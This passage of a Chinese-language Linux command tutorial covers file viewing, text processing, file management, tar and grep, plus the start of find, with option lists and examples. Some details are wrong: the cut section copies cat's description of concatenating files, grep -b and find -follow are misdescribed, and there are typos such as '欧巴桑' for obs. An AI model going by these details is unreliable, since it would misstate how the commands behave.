cat m1 m2 > file (将文件ml和m2合并后放入文件file中)

more命令:
more命令是一个基于vi编辑器文本过滤器,
它以全屏幕的方式按页显示文本文件的内容,
支持vi中的关键字定位操作。
more名单中内置了若干快捷键,常用的有H(获得帮助信息),
Enter(向下翻滚一行),
空格(向下滚动一屏),
Q(退出命令)。

该命令一次显示一屏文本,满屏后停下来,并且在屏幕的底部出现一个提示信息,
给出至今己显示的该文件的百分比:–More–(XX%)可以用下列不同的方法对提示做出回答:
按Space键:显示文本的下一屏内容。
按Enier键:只显示文本的下一行内容。
按斜线符|:接着输入一个模式,可以在文本中寻找下一个相匹配的模式。
按H键:显示帮助屏,该屏上有相关的帮助信息。
按B键:显示上一屏内容。
按Q键:退出rnore命令。

语法:
more (语法) (参数)
选项:
-<数字>:指定每屏显示的行数;
-d:显示“[press space to continue,‘q’ to quit.]”和“[Press ‘h’ for instructions]”;
-c:不进行滚屏操作。每次刷新这个屏幕;
-s:将多个空行压缩成一行显示;
-u:禁止下划线;
+<数字>:从指定数字的行开始显示。
参数:
文件:指定分页显示内容的文件。

实例:
显示文件file的内容,但在显示之前先清屏,并且在屏幕的最下方显示完核的百分比。
more -dc file

显示文件file的内容,每10行显示一次,而且在显示之前先清屏。
more -c -10 file

head命令:
head命令用于显示文件的开头的内容。在默认情况下,head命令显示文件的头10行内容。

语法
head(选项)(参数)
选项
-n<数字>:指定显示头部内容的行数;
-c<字符数>:指定显示头部内容的字符数;
-v:总是显示文件名的头信息;
-q:不显示文件名的头信息。
参数
文件列表:指定显示头部内容的文件列表。

tail命令:
tail命令用于输入文件中的尾部内容。
tail命令默认在屏幕上显示指定文件的末尾10行。
如果给定的文件不止一个,则在显示的每个文件前面加一个文件名标题。
如果没有指定文件或者文件名为“-”,则读取标准输入。

注意:如果表示字节或行数的N值之前有一个”+”号,则从文件开头的第N项开始显示,
而不是显示文件的最后N项。N值后面可以有后缀:b表示512,k表示1024,m表示1 048576(1M)。

语法:
tail (选项) (参数)
选项:
–retry:即是在tail命令启动时,文件不可访问或者文件稍后变得不可访问,都始终尝试打开文件。使用此选项时需要与选项“——follow=name”连用;
-c或——bytes=:输出文件尾部的N(N为整数)个字节内容;
-f<name/descriptor>或;–follow:显示文件最新追加的内容。“name”表示以文件名的方式监视文件的变化。“-f”与“-fdescriptor”等效;
-F:与选项“-follow=name”和“–retry"连用时功能相同;
-n或——line=:输出文件的尾部N(N位数字)行内容。
–pid=<进程号>:与“-f”选项连用,当指定的进程号的进程终止后,自动退出tail命令;
-q或——quiet或——silent:当有多个文件参数时,不输出各个文件名;
-s<秒数>或——sleep-interal=<秒数>:与“-f”选项连用,指定监视文件变化时间隔的秒数;
-v或——verbose:当有多个文件参数时,总是输出各个文件名;
–help:显示指令的帮助信息;
–version:显示指令的版本信息。
参数:
文件列表:指定要显示尾部内容的文件列表。

实例:
tail file (显示文件file的最后10行)
tail +20 file (显示文件file的内容,从第20行至文件末尾)
tail -c 10 file (显示文件file的最后10个字符)

tr命令:
tr命令可以对来自标准输入的字符进行替换、压缩和删除。
它可以将一组字符变成另一组字符,经常用来编写优美的单行命令,作用很强大。

语法:
tr (选项) (参数)
选项:
-c或——complerment:取代所有不属于第一字符集的字符;
-d或——delete:删除所有属于第一字符集的字符;
-s或–squeeze-repeats:把连续重复的字符以单独一个字符表示;
-t或–truncate-set1:先删除第一字符集较第二字符集多出的字符。
参数:
字符集1:指定要转换或删除的原字符集。
当执行转换操作时,必须使用参数“字符集2”指定转换的目标字符集。
但执行删除操作时,不需要参数“字符集2”;
字符集2:指定要转换成的目标字符集。

实例:
将输入字符由大写转换为小写:
echo “HELLO WORLD” | tr ‘A-Z’ ‘a-z’
hello world
‘A-Z’ 和 ‘a-z’都是集合,集合是可以自己制定的,
例如:‘ABD-}’、‘bB.,’、‘a-de-h’、‘a-c0-9’都属于集合,
集合里可以使用’\n’、’\t’,可以可以使用其他ASCII字符。

使用tr删除字符:
echo “hello 123 world 456” | tr -d ‘0-9’
hello world

将制表符转换为空格:
cat text | tr ‘\t’ ’ ’

字符集补集,从输入文本中将不在补集中的所有字符删除:
echo aa.,a 1 b#$bb 2 c*/cc 3 ddd 4 | tr -d -c ‘0-9 \n’
1 2 3 4
此例中,补集中包含了数字0~9、空格和换行符\n,所以没有被删除,其他字符全部被删除了。

用tr压缩字符,可以压缩输入中重复的字符:
echo “thissss is a text linnnnnnne.” | tr -s ’ sn’
this is a text line.

巧妙使用tr做数字相加操作:
echo 1 2 3 4 5 6 7 8 9 | xargs -n1 | echo $[ $(tr ‘\n’ ‘+’) 0 ]

删除Windows文件“造成”的’^M’字符:
cat file | tr -s “\r” “\n” > new_file

cat file | tr -d “\r” > new_file

tr可以使用的字符类:
[:alnum:]:字母和数字
[:alpha:]:字母
[:cntrl:]:控制(非打印)字符
[:digit:]:数字
[:graph:]:图形字符
[:lower:]:小写字母
[:print:]:可打印字符
[:punct:]:标点符号
[:space:]:空白字符
[:upper:]:大写字母
[:xdigit:]:十六进制字符
使用方式:
tr ‘[:lower:]’ ‘[:upper:]’
wc命令:
wc命令用来计算数字。
利用wc指令我们可以计算文件的Byte数、字数或是列数,
若不指定文件名称,或是所给予的文件名为“-”,则wc指令会从标准输入设备读取数据。

语法
wc(选项)(参数)
选项
-c或–bytes或——chars:只显示Bytes数;
-l或——lines:只显示列数;
-w或——words:只显示字数。
参数
文件:需要统计的文件列表。
stat命令:
stat命令用于显示文件的状态信息。
stat命令的输出信息比ls命令的输出信息要更详细。

语法
stat(选项)(参数)
选项
-L:支持符号连接;
-f:显示文件系统状态而非文件状态;
-t:以简洁方式输出信息;
–help:显示指令的帮助信息;
–version:显示指令的版本信息。
参数
文件:指定要显示信息的普通文件或者文件系统对应的设备文件名。

实例
[root@localhost ~]# ls -l myfile
-rw-r–r-- 1 root root 0 2010-10-09 myfile

[root@localhost ~]# stat myfile
file: “myfile”
Size: 0 Blocks: 8 IO Block: 4096 一般空文件
Device: fd00h/64768d Inode: 194805815 Links: 1
Access: (0644/-rw-r–r--) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2010-12-12 12:22:35.000000000 +0800
Modify: 2010-10-09 20:44:21.000000000 +0800
Change: 2010-10-09 20:44:21.000000000 +0800
cut命令:
cut命令用来显示行中的指定部分,删除文件中指定字段。
cut经常用来显示文件的内容,类似于下的type命令。

说明:该命令有两项功能:
其一是用来显示文件的内容,它依次读取由参数file所指 明的文件,将它们的内容输出到标准输出上;
其二是连接两个或多个文件,如cut fl f2 > f3将把文件fl和几的内容合并起来,
然后通过输出重定向符“>”的作用,将它们放入文件f3中。
当文件较大时,文本在屏幕上迅速闪过(滚屏),用户往往看不清所显示的内容。

语法:
cut (选项) (参数)
选项:
-b:仅显示行中指定直接范围的内容;
-c:仅显示行中指定范围的字符;
-d:指定字段的分隔符,默认的字段分隔符为“TAB”;
-f:显示指定字段的内容;
-n:与“-b”选项连用,不分割多字节字符;
–complement:补足被选择的字节、字符或字段;
–out-delimiter=<字段分隔符>:指定输出内容是的字段分割符;
–help:显示指令的帮助信息;
–version:显示指令的版本信息。
参数:
文件:指定要进行内容过滤的文件。

实例:
例如有一个学生报表信息,包含No、Name、Mark、Percent:

[root@localhost text]# cat test.txt
No Name Mark Percent
01 tom 69 91
02 jack 71 87
03 alex 68 98

使用 -f 选项提取指定字段:
[root@localhost text]# cut -f 1 test.txt
No
01
02
03
[root@localhost text]# cut -f2,3 test.txt
Name Mark
tom 69
jack 71
alex 68
–complement 选项提取指定字段之外的列(打印除了第二列之外的列):

[root@localhost text]# cut -f2 --complement test.txt
No Mark Percent
01 69 91
02 71 87
03 68 98
使用 -d 选项指定字段分隔符:

[root@localhost text]# cat test2.txt
No;Name;Mark;Percent
01;tom;69;91
02;jack;71;87
03;alex;68;98
[root@localhost text]# cut -f2 -d";" test2.txt
Name
tom
jack
alex
diff命令:
diff命令在最简单的情况下,比较给定的两个文件的不同。
如果使用“-”代替“文件”参数,则要比较的内容将来自标准输入。
diff命令是以逐行的方式,比较文本文件的异同处。
如果该命令指定进行目录的比较,则将会比较该目录中具有相同文件名的文件,
而不会对其子目录文件进行任何比较操作。

语法:
diff (选项) (参数)
选项:
-<行数>:指定要显示多少行的文本。此参数必须与-c或-u参数一并使用;
-a或——text:diff预设只会逐行比较文本文件;
-b或–ignore-space-change:不检查空格字符的不同;
-B或–ignore-blank-lines:不检查空白行;
-c:显示全部内容,并标出不同之处;
-C<行数>或–context<行数>:与执行“-c-<行数>”指令相同;
-d或——minimal:使用不同的演算法,以小的单位来做比较;
-D<巨集名称>或ifdef<巨集名称>:此参数的输出格式可用于前置处理器巨集;
-e或——ed:此参数的输出格式可用于ed的script文件;
-f或-forward-ed:输出的格式类似ed的script文件,但按照原来文件的顺序来显示不同处;
-H或–speed-large-files:比较大文件时,可加快速度;
-l<字符或字符串>或–ignore-matching-lines<字符或字符串>:若两个文件在某几行有所不同,而之际航同时都包含了选项中指定的字符或字符串,则不显示这两个文件的差异;
-i或–ignore-case:不检查大小写的不同;
-l或——paginate:将结果交由pr程序来分页;
-n或——rcs:将比较结果以RCS的格式来显示;
-N或–new-file:在比较目录时,若文件A仅出现在某个目录中,预设会显示:Only in目录,文件A 若使用-N参数,则diff会将文件A 与一个空白的文件比较;
-p:若比较的文件为C语言的程序码文件时,显示差异所在的函数名称;
-P或–unidirectional-new-file:与-N类似,但只有当第二个目录包含了第一个目录所没有的文件时,才会将这个文件与空白的文件做比较;
-q或–brief:仅显示有无差异,不显示详细的信息;
-r或——recursive:比较子目录中的文件;
-s或–report-identical-files:若没有发现任何差异,仍然显示信息;
-S<文件>或–starting-file<文件>:在比较目录时,从指定的文件开始比较;
-t或–expand-tabs:在输出时,将tab字符展开;
-T或–initial-tab:在每行前面加上tab字符以便对齐;
-u,-U<列数>或–unified=<列数>:以合并的方式来显示文件内容的不同;
-v或——version:显示版本信息;
-w或–ignore-all-space:忽略全部的空格字符;
-W<宽度>或–width<宽度>:在使用-y参数时,指定栏宽;
-x<文件名或目录>或–exclude<文件名或目录>:不比较选项中所指定的文件或目录;
-X<文件>或–exclude-from<文件>;您可以将文件或目录类型存成文本文件,然后在=<文件>中指定此文本文件;
-y或–side-by-side:以并列的方式显示文件的异同之处;
–help:显示帮助;
–left-column:在使用-y参数时,若两个文件某一行内容相同,则仅在左侧的栏位显示该行内容;
–suppress-common-lines:在使用-y参数时,仅显示不同之处。
参数:
文件1:指定要比较的第一个文件;
文件2:指定要比较的第二个文件。
实例:
将目录/usr/li下的文件"test.txt"与当前目录下的文件"test.txt"进行比较,输入如下命令:
diff /usr/li test.txt #使用diff指令对文件进行比较
上面的命令执行后,会将比较后的不同之处以指定的形式列出,如下所示:
n1 a n3,n4
n1,n2 d n3
n1,n2 c n3,n4
其中,字母"a"、“d”、“c"分别表示添加、删除及修改操作。
而"n1”、"n2"表示在文件1中的行号,“n3”、"n4"表示在文件2中的行号。

注意:以上说明指定了两个文件中不同处的行号及其相应的操作。
在输出形式中,每一行后面将跟随受到影响的若干行。
其中,以<开始的行属于文件1,以>开始的行属于文件2。

5、文件目录管理命令

touch命令:
touch命令有两个功能:
一是用于把已存在文件的时间标签更新为系统当前的时间(默认方式),它们的数据将原封不动地保留下来;
二是用来创建新的空文件。

语法
touch (选项) (参数)
选项
-a:或–time=atime或–time=access或–time=use 只更改存取时间;
-c:或–no-create 不建立任何文件;
-d:<时间日期> 使用指定的日期时间,而非现在的时间;
-f:此参数将忽略不予处理,仅负责解决BSD版本touch指令的兼容性问题;
-m:或–time=mtime或–time=modify 只更该变动时间;
-r:<参考文件或目录> 把指定文件或目录的日期时间,统统设成和参考文件或目录的日期时间相同;
-t:<日期时间> 使用指定的日期时间,而非现在的时间;
–help:在线帮助;
–version:显示版本信息。
参数
文件:指定要设置时间属性的文件列表。

实例
touch ex2
mkdir命令:
mkdir命令用来创建目录。
该命令创建由dirname命名的目录。
如果在目录名的前面没有加任何路径名,则在当前目录下创建由dirname指定的目录;
如果给出了一个已经存在的路径,将会在该目录下创建一个指定的目录。
在创建目录时,应保证新建的目录与它所在目录下的文件没有重名。

注意:
在创建文件时,不要把所有的文件都存放在主目录中,可以创建子目录,
通过它们来更有效地组织文件。最好采用前后一致的命名方式来区分文件和目录。
例如,目录名可以以大写字母开头,这样,在目录列表中目录名就出现在前面。

在一个子目录中应包含类型相似或用途相近的文件。
例如,应建立一个子目录,它包含所有的数据库文件,
另有一个子目录应包含电子表格文件,还有一个子目录应包含文字处理文档,等等。
目录也是文件,它们和普通文件一样遵循相同的命名规则,并且利用全路径可以唯一地指定一个目录。

语法:
mkdir (选项)(参数)
选项:
-Z:设置安全上下文,当使用SELinux时有效;
-m<目标属性>或–mode<目标属性>建立目录的同时设置目录的权限;
-p或–parents 若所要建立目录的上层目录目前尚未建立,则会一并建立上层目录;
–version 显示版本信息。
参数:
目录:指定要创建的目录列表,多个目录之间用空格隔开。

实例:
在目录/usr/meng下建立子目录test,并且只有文件主有读、写和执行权限,其他人无权访问
mkdir -m 700 /usr/meng/test
cp命令:
cp命令用来将一个或多个源文件或者目录复制到指定的目的文件或目录。
它可以将单个源文件复制成一个指定文件名的具体的文件或一个已经存在的目录下。
cp命令还支持同时复制多个文件,当一次复制多个文件时,
目标文件参数必须是一个已经存在的目录,否则将出现错误。

语法:
cp (选项) (参数)
选项:
-a:此参数的效果和同时指定"-dpR"参数相同;
-d:当复制符号连接时,把目标文件或目录也建立为符号连接,并指向与源文件或目录连接的原始文件或目录;
-f:强行复制文件或目录,不论目标文件或目录是否已存在;
-i:覆盖既有文件之前先询问用户;
-l:对源文件建立硬连接,而非复制文件;
-p:保留源文件或目录的属性;
-R/r:递归处理,将指定目录下的所有文件与子目录一并处理;
-s:对源文件建立符号连接,而非复制文件;
-u:使用这项参数后只会在源文件的更改时间较目标文件更新时或是名称相互对应的目标文件并不存在时,才复制文件;
-S:在备份文件时,用指定的后缀“SUFFIX”代替文件的默认后缀;
-b:覆盖已存在的文件目标前将目标文件备份;
-v:详细显示命令执行的操作。
参数:
源文件:制定源文件列表。默认情况下,cp命令不能复制目录,如果要复制目录,则必须使用-R选项;
目标文件:指定目标文件。当“源文件”为多个文件时,要求“目标文件”为指定的目录。
实例:
如果把一个文件复制到一个目标文件中,而目标文件已经存在,那么,该目标文件的内容将被破坏。
此命令中所有参数既可以是绝对路径名,也可以是相对路径名。
通常会用到点.或点点…的形式。例如,下面的命令将指定文件复制到当前目录下:
cp …/mary/homework/assign .
所有目标文件指定的目录必须是己经存在的,cp命令不能创建目录。如果没有文件复制的权限,则系统会显示出错信息。

将文件file复制到目录/usr/men/tmp下,并改名为file1
cp file /usr/men/tmp/file1

将目录/usr/men下的所有文件及其子目录复制到目录/usr/zh中
cp -r /usr/men /usr/zh

交互式地将目录/usr/men中的以m打头的所有.c文件复制到目录/usr/zh中
cp -i /usr/men m*.c /usr/zh

我们在Linux下使用cp命令复制文件时候,有时候会需要覆盖一些同名文件,
覆盖文件的时候都会有提示:需要不停的按Y来确定执行覆盖。
文件数量不多还好,但是要是几百个估计按Y都要吐血了,于是折腾来半天总结了一个方法:

cp aaa/* /bbb
复制目录aaa下所有到/bbb目录下,这时如果/bbb目录下有和aaa同名的文件,
需要按Y来确认并且会略过aaa目录下的子目录。
cp -r aaa/* /bbb
这次依然需要按Y来确认操作,但是没有忽略子目录。
cp -r -a aaa/* /bbb
依然需要按Y来确认操作,并且把aaa目录以及子目录和文件属性也传递到了/bbb。
\cp -r -a aaa/* /bbb
成功,没有提示按Y、传递了目录属性、没有略过目录。
mv命令:
mv命令用来对文件或目录重新命名,或者将文件从一个目录移到另一个目录中。
source表示源文件或目录,target表示目标文件或目录。
如果将一个文件移到一个已经存在的目标文件中,则目标文件的内容将被覆盖。

mv命令可以用来将源文件移至一个目标文件中,或将一组文件移至一个目标目录中。
源文件被移至目标文件有两种不同的结果:

如果目标文件是到某一目录文件的路径,源文件会被移到此目录下,且文件名不变。
如果目标文件不是目录文件,则源文件名(只能有一个)会变为此目标文件名,并覆盖己存在的同名文件。如果源文件和目标文件在同一个目录下,mv的作用就是改文件名。当目标文件是目录文件时,源文件或目录参数可以有多个,则所有的源文件都会被移至目标文件中。所有移到该目录下的文件都将保留以前的文件名。
注意事项:mv与cp的结果不同,mv好像文件“搬家”,文件个数并未增加。而cp对文件进行复制,文件个数增加了。

语法:
mv (选项) (参数)
选项:
–backup=<备份模式>:若需覆盖文件,则覆盖前先行备份;
-b:当文件存在时,覆盖前,为其创建一个备份;
-f:若目标文件或目录与现有的文件或目录重复,则直接覆盖现有的文件或目录;
-i:交互式操作,覆盖前先行询问用户,如果源文件与目标文件或目标目录中的文件同名,则询问用户是否覆盖目标文件。用户输入”y”,表示将覆盖目标文件;输入”n”,表示取消对源文件的移动。这样可以避免误将文件覆盖。
–strip-trailing-slashes:删除源文件中的斜杠“/”;
-S<后缀>:为备份文件指定后缀,而不使用默认的后缀;
–target-directory=<目录>:指定源文件要移动到目标目录;
-u:当源文件比目标文件新或者目标文件不存在时,才执行移动操作。
参数:
源文件:源文件列表。
目标文件:如果“目标文件”是文件名则在移动文件的同时,将其改名为“目标文件”;如果“目标文件”是目录名则将源文件移动到“目标文件”下。
实例:

将文件ex3改名为new1
mv ex3 new1
将目录/usr/men中的所有文件移到当前目录(用.表示)中:
mv /usr/men/* .
rm命令:
rm命令可以删除一个目录中的一个或多个文件或目录,
也可以将某个目录及其下属的所有文件及其子目录均删除掉。
对于链接文件,只是删除整个链接文件,而原有文件保持不变。

注意:使用rm命令要格外小心。因为一旦删除了一个文件,就无法再恢复它。
所以,在删除文件之前,最好再看一下文件的内容,确定是否真要删除。
rm命令可以用-i选项,这个选项在使用文件扩展名字符删除多个文件时特别有用。
使用这个选项,系统会要求你逐一确定是否要删除。
这时,必须输入y并按Enter键,才能删除文件。如果仅按Enter键或其他字符,文件不会被删除。

语法:
rm (选项)(参数)
选项:
-d:直接把欲删除的目录的硬连接数据删除成0,删除该目录;
-f:强制删除文件或目录;
-i:删除已有文件或目录之前先询问用户;
-r或-R:递归处理,将指定目录下的所有文件与子目录一并处理;
–preserve-root:不对根目录进行递归操作;
-v:显示指令的详细执行过程。
参数:
文件:指定被删除的文件列表,如果参数中含有目录,则必须加上-r或者-R选项。

实例:
交互式删除当前目录下的文件test和example
rm -i test example
Remove test ?n(不删除文件test)
Remove example ?y(删除文件example)
删除当前目录下除隐含文件外的所有文件和子目录

rm -r *

应注意,这样做是非常危险的!
dd命令:
dd命令用于复制文件并对原文件的内容进行转换和格式化处理。
dd命令功能很强大的,对于一些比较底层的问题,使用dd命令往往可以得到出人意料的效果。
用的比较多的还是用dd来备份裸设备。但是不推荐,
如果需要备份oracle裸设备,可以使用rman备份,
或使用第三方软件备份,使用dd的话,管理起来不太方便。

建议在有需要的时候使用dd 对物理磁盘操作,
如果是文件系统的话还是使用tar backup cpio等其他命令更加方便。
另外,使用dd对磁盘操作时,最好使用块设备文件。

语法:
dd (选项)
选项:
bs=<字节数>:将ibs(输入)与欧巴桑(输出)设成指定的字节数;
cbs=<字节数>:转换时,每次只转换指定的字节数;
conv=<关键字>:指定文件转换的方式;
count=<区块数>:仅读取指定的区块数;
ibs=<字节数>:每次读取的字节数;
obs=<字节数>:每次输出的字节数;
of=<文件>:输出到文件;
seek=<区块数>:一开始输出时,跳过指定的区块数;
skip=<区块数>:一开始读取时,跳过指定的区块数;
–help:帮助;
–version:显示版本信息。
实例:
[root@localhost text]# dd if=/dev/zero of=sun.txt bs=1M count=1
1+0 records in
1+0 records out
1048576 bytes (1.0 MB) copied, 0.006107 seconds, 172 MB/s

[root@localhost text]# du -sh sun.txt
1.1M sun.txt
file命令:
file命令用来探测给定文件的类型。
file命令对文件的检查分为文件系统、魔法幻数检查和语言检查3个过程。

语法
file(选项)(参数)
选项
-b:列出辨识结果时,不显示文件名称;
-c:详细显示指令执行过程,便于排错或分析程序执行的情形;
-f<名称文件>:指定名称文件,其内容有一个或多个文件名称时,让file依序辨识这些文件,格式为每列一个文件名称;
-L:直接显示符号连接所指向的文件类别;
-m<魔法数字文件>:指定魔法数字文件;
-v:显示版本信息;
-z:尝试去解读压缩文件的内容。
参数
文件:要确定类型的文件列表,多个文件之间使用空格分开,可以使用shell通配符匹配多个文件。

实例
显示文件类型

[root@localhost ~]# file install.log
install.log: UTF-8 Unicode text

[root@localhost ~]# file -b install.log <== 不显示文件名称
UTF-8 Unicode text

[root@localhost ~]# file -i install.log <== 显示MIME类别。
install.log: text/plain; charset=utf-8

6.打包压缩与搜索命令
tar命令:
tar命令可以为linux的文件和目录创建档案。
利用tar,可以为某一特定文件创建档案(备份文件),
也可以在档案中改变文件,或者向档案中加入新的文件。
tar最初被用来在磁带上创建档案,现在,用户可以在任何设备上创建档案。
利用tar命令,可以把一大堆的文件和目录全部打包成一个文件,
这对于备份文件或将几个文件组合成为一个文件以便于网络传输是非常有用的。

首先要弄清两个概念:
打包和压缩。
打包是指将一大堆文件或目录变成一个总的文件;
压缩则是将一个大的文件通过一些压缩算法变成一个小文件。

为什么要区分这两个概念呢?
这源于Linux中很多压缩程序只能针对一个文件进行压缩,
这样当你想要压缩一大堆文件时,
你得先将这一大堆文件先打成一个包(tar命令),
然后再用压缩程序进行压缩(gzip bzip2命令)。

语法:
tar (选项)(参数)
选项:
-A或–catenate:新增文件到以存在的备份文件;
-B:设置区块大小;
-c或–create:建立新的备份文件;
-C <目录>:这个选项用在解压缩,若要在特定目录解压缩,可以使用这个选项。
-d:记录文件的差别;
-x或–extract或–get:从备份文件中还原文件;
-t或–list:列出备份文件的内容;
-z或–gzip或–ungzip:通过gzip指令处理备份文件;
-Z或–compress或–uncompress:通过compress指令处理备份文件;
-f<备份文件>或–file=<备份文件>:指定备份文件;
-v或–verbose:显示指令执行过程;
-r:添加文件到已经压缩的文件;
-u:添加改变了和现有的文件到已经存在的压缩文件;
-j:支持bzip2解压文件;
-v:显示操作过程;
-l:文件系统边界设置;
-k:保留原有文件不覆盖;
-m:保留文件不被覆盖;
-w:确认压缩文件的正确性;
-p或–same-permissions:用原来的文件权限还原文件;
-P或–absolute-names:文件名使用绝对名称,不移除文件名称前的“/”号;
-N <日期格式> 或 --newer=<日期时间>:只将较指定日期更新的文件保存到备份文件里;
–exclude=<范本样式>:排除符合范本样式的文件。

参数:
文件或目录:指定要打包的文件或目录列表。

实例:
将文件全部打包成tar包:
tar -cvf log.tar log2012.log 仅打包,不压缩!
tar -zcvf log.tar.gz log2012.log 打包后,以 gzip 压缩
tar -jcvf log.tar.bz2 log2012.log 打包后,以 bzip2 压缩

在选项f之后的文件档名是自己取的,我们习惯上都用 .tar 来作为辨识。
如果加z选项,则以.tar.gz或.tgz来代表gzip压缩过的tar包;
如果加j选项,则以.tar.bz2来作为tar包名。

查阅上述tar包内有哪些文件:
tar -ztvf log.tar.gz
由于我们使用 gzip 压缩的log.tar.gz,所以要查阅log.tar.gz包内的文件时,就得要加上z这个选项了。

将tar包解压缩:
tar -zxvf /opt/soft/test/log.tar.gz

文件备份下来,并且保存其权限:
tar -zcvpf log31.tar.gz log2014.log log2015.log log2016.log
这个-p的属性是很重要的,尤其是当您要保留原本文件的属性时。

在文件夹当中,比某个日期新的文件才备份:
tar -N “2012/11/13” -zcvf log17.tar.gz test

备份文件夹内容是排除部分文件:
tar --exclude scf/service -zcvf scf.tar.gz scf/*

其实最简单的使用 tar 就只要记忆底下的方式即可:
压 缩:tar -jcv -f filename.tar.bz2 要被压缩的文件或目录名称
查 询:tar -jtv -f filename.tar.bz2
解压缩:tar -jxv -f filename.tar.bz2 -C 欲解压缩的目录
grep命令:
grep(global search regular expression(RE) and print out the line,全面搜索正则表达式并把行打印出来)
是一种强大的文本搜索工具,它能使用正则表达式搜索文本,并把匹配的行打印出来。

选项:
-a 不要忽略二进制数据。
-A<显示列数> 除了显示符合范本样式的那一行之外,并显示该行之后的内容。
-b 在显示符合范本样式的那一行之外,并显示该行之前的内容。
-c 计算符合范本样式的列数。
-C<显示列数>或-<显示列数> 除了显示符合范本样式的那一列之外,并显示该列之前后的内容。
-d<进行动作> 当指定要查找的是目录而非文件时,必须使用这项参数,否则grep命令将回报信息并停止动作。
-e<范本样式> 指定字符串作为查找文件内容的范本样式。
-E 将范本样式为延伸的普通表示法来使用,意味着使用能使用扩展正则表达式。
-f<范本文件> 指定范本文件,其内容有一个或多个范本样式,让grep查找符合范本条件的文件内容,格式为每一列的范本样式。
-F 将范本样式视为固定字符串的列表。
-G 将范本样式视为普通的表示法来使用。
-h 在显示符合范本样式的那一列之前,不标示该列所属的文件名称。
-H 在显示符合范本样式的那一列之前,标示该列的文件名称。
-i 忽略字符大小写的差别。
-l 列出文件内容符合指定的范本样式的文件名称。
-L 列出文件内容不符合指定的范本样式的文件名称。
-n 在显示符合范本样式的那一列之前,标示出该列的编号。
-q 不显示任何信息。
-R/-r 此参数的效果和指定“-d recurse”参数相同。
-s 不显示错误信息。
-v 反转查找。
-w 只显示全字符合的列。
-x 只显示全列符合的列。
-y 此参数效果跟“-i”相同。
-o 只输出文件中匹配到的部分。
grep命令常见用法:
在文件中搜索一个单词,命令会返回一个包含“match_pattern”的文本行:
grep match_pattern file_name
grep “match_pattern” file_name
在多个文件中查找:
grep “match_pattern” file_1 file_2 file_3 …
输出除之外的所有行 -v 选项:
grep -v “match_pattern” file_name
标记匹配颜色 --color=auto 选项:
grep “match_pattern” file_name --color=auto
使用正则表达式 -E 选项:
grep -E “[1-9]+”

egrep “[1-9]+”
只输出文件中匹配到的部分 -o 选项:

echo this is a test line. | grep -o -E “[a-z]+.”
line.

echo this is a test line. | egrep -o “[a-z]+.”
line.
统计文件或者文本中包含匹配字符串的行数 -c 选项:
grep -c “text” file_name
输出包含匹配字符串的行数 -n 选项:
grep “text” -n file_name

cat file_name | grep “text” -n
#多个文件
grep “text” -n file_1 file_2
打印样式匹配所位于的字符或字节偏移:
echo gun is not unix | grep -b -o “not”
7:not
#一行中字符串的字符便宜是从该行的第一个字符开始计算,起始值为0。
选项 -b -o 一般总是配合使用。

搜索多个文件并查找匹配文本在哪些文件中:
grep -l “text” file1 file2 file3…
grep递归搜索文件
在多级目录中对文本进行递归搜索:
grep “text” . -r -n

.表示当前目录。

忽略匹配样式中的字符大小写:
echo “hello world” | grep -i “HELLO”
hello
选项 -e 制动多个匹配样式:
echo this is a text line | grep -e “is” -e “line” -o
is
line

#也可以使用-f选项来匹配多个样式,在样式文件中逐行写出需要匹配的字符。
cat patfile
aaa
bbb

echo aaa bbb ccc ddd eee | grep -f patfile -o
在grep搜索结果中包括或者排除指定文件:
#只在目录中所有的.php和.html文件中递归搜索字符"main()"
grep “main()” . -r --include .{php,html}
#在搜索结果中排除所有README文件
grep “main()” . -r --exclude “README”
#在搜索结果中排除filelist文件列表里的文件
grep “main()” . -r --exclude-from filelist
使用0值字节后缀的grep与xargs:
#测试文件:
echo “aaa” > file1
echo “bbb” > file2
echo “aaa” > file3
grep “aaa” file
-lZ | xargs -0 rm
#执行后会删除file1和file3,grep输出用-Z选项来指定以0值字节作为终结符文件名(\0),xargs -0 读取输入并用0值字节终结符分隔文件名,然后删除匹配文件,-Z通常和-l结合使用。
grep静默输出:
grep -q “test” filename
#不会输出任何信息,如果命令运行成功返回0,失败则返回非0值。一般用于条件测试。
打印出匹配文本之前或者之后的行:
find命令:
find命令用来在指定目录下查找文件。
任何位于参数之前的字符串都将被视为欲查找的目录名。
如果使用该命令时,不设置任何参数,则find命令将在当前目录下查找子目录与文件。
并且将查找到的子目录和文件全部进行显示。

语法
find(选项)(参数)
选项
-amin<分钟>:查找在指定时间曾被存取过的文件或目录,单位以分钟计算;
-anewer<参考文件或目录>:查找其存取时间较指定文件或目录的存取时间更接近现在的文件或目录;
-atime<24小时数>:查找在指定时间曾被存取过的文件或目录,单位以24小时计算;
-cmin<分钟>:查找在指定时间之时被更改过的文件或目录;
-cnewer<参考文件或目录>查找其更改时间较指定文件或目录的更改时间更接近现在的文件或目录;
-ctime<24小时数>:查找在指定时间之时被更改的文件或目录,单位以24小时计算;
-daystart:从本日开始计算时间;
-depth:从指定目录下最深层的子目录开始查找;
-expty:寻找文件大小为0 Byte的文件,或目录下没有任何子目录或文件的空目录;
-exec<执行指令>:假设find指令的回传值为True,就执行该指令;
-false:将find指令的回传值皆设为False;
-fls<列表文件>:此参数的效果和指定“-ls”参数类似,但会把结果保存为指定的列表文件;
-follow:排除符号连接;
-fprint<列表文件>:此参数的效果和指定“-print”参数类似,但会把结果保存成指定的列表文件;
-fprint0<列表文件>:此参数的效果和指定“-print0”参数类似,但会把结果保存成指定的列表文件;
-fprintf<列表文件><输出格式>:此参数的效果和指定“-printf”参数类似,但会把结果保存成指定的列表文件;
-fstype<文件系统类型>:只寻找该文件系统类型下的文件或目录;
-gid<群组识别码>:查找符合指定之群组识别码的文件或目录;
-group<群组名称>:查找符合指定之群组名称的文件或目录;
-help或——help:在线帮助;
-ilname<范本样式>:此参数的效果和指定“-lname”参数类似,但忽略字符大小写的差别;
-iname<范本样式>:此参数的效果和指定“-name”参数类似,但忽略字符大小写的差别;
-inum<inode编号>:查找符合指定的inode编号的文件或目录;
-ipath<范本样式>:此参数的效果和指定“-path”参数类似,但忽略字符大小写的差别;
-iregex<范本样式>:此参数的效果和指定“-regexe”参数类似,但忽略字符大小写的差别;
-links<连接数目>:查找符合指定的硬连接数目的文件或目录;
-iname<范本样式>:指定字符串作为寻找符号连接的范本样式;
-ls:假设find指令的回传值为Ture,就将文件或目录名称列出到标准输出;
-maxdepth<目录层级>:设置最大目录层级;
-mindepth<目录层级>:设置最小目录层级;
-mmin<分钟>:查找在指定时间曾被更改过的文件或目录,单位以分钟计算;
